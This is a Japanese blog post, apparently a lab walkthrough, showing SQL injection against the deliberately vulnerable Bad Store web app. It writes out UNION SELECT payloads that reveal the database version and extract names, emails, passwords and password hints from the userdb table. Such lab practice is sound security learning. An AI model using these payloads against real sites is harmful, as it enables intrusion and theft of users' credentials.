shikata ga nai

Private? There is no such things.

Bad StoreでSQLインジェクション

Hey guys!

手始めにトップ画面右上にある検索キーらしき入力ボックスでSQLインジェクションを試してみた。

 

まずは

 '(シングルクォーテーション1つ)

を入力して『Go』ボタンを押すと。

 

f:id:ThisIsOne:20191104123204p:plain

 

システム上、好ましくないエラー画面が。

これで使っているDBの種類がわかった。

 

f:id:ThisIsOne:20191104123348p:plain

 

ブラウザのボタンで戻って。

 a' = 'a' UNION SELECT VERSION(),2,3,4 #

と入力して再度、『Go』ボタンを押すと画面下にDBのバージョンが。

 

f:id:ThisIsOne:20191104123547p:plain

 

ちなみに入力ボックスに何も入力せずに『Go』ボタンを押してみた。

エラーメッセージよりテーブル名の名前の付け方(~db)のクセが読み取れる。

 

f:id:ThisIsOne:20191104131115p:plain

 

次に

 a' = 'a' UNION SELECT email,2,3,4 FROM userdb #

と入力してemailというカラム名があるかを試してみた。

 

f:id:ThisIsOne:20191104123749p:plain

 

ビンゴ!

 

パスワードについは 

 

 a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #

を入力してみた。

 

f:id:ThisIsOne:20191104124029p:plain

 

 

同じように

 a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #

 a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #

と入力してカラム名の確認をしたところで 

収集したカラム名を全て表示さてみることに。
 a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #

 

f:id:ThisIsOne:20191104124158p:plain

 

各画面のソースコードからカラム名を得ることができた。

 

f:id:ThisIsOne:20191104132511p:plain


 Best regards,

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain